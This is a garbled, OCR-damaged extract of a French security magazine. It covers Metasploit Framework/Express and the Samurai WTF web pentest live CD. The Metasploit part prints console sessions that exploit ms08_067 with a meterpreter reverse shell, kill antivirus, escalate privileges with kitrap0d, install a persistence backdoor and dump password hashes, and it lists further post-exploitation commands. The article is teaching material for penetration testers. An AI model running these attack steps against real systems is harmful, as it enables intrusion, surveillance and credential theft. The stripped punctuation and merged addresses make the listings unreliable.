Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

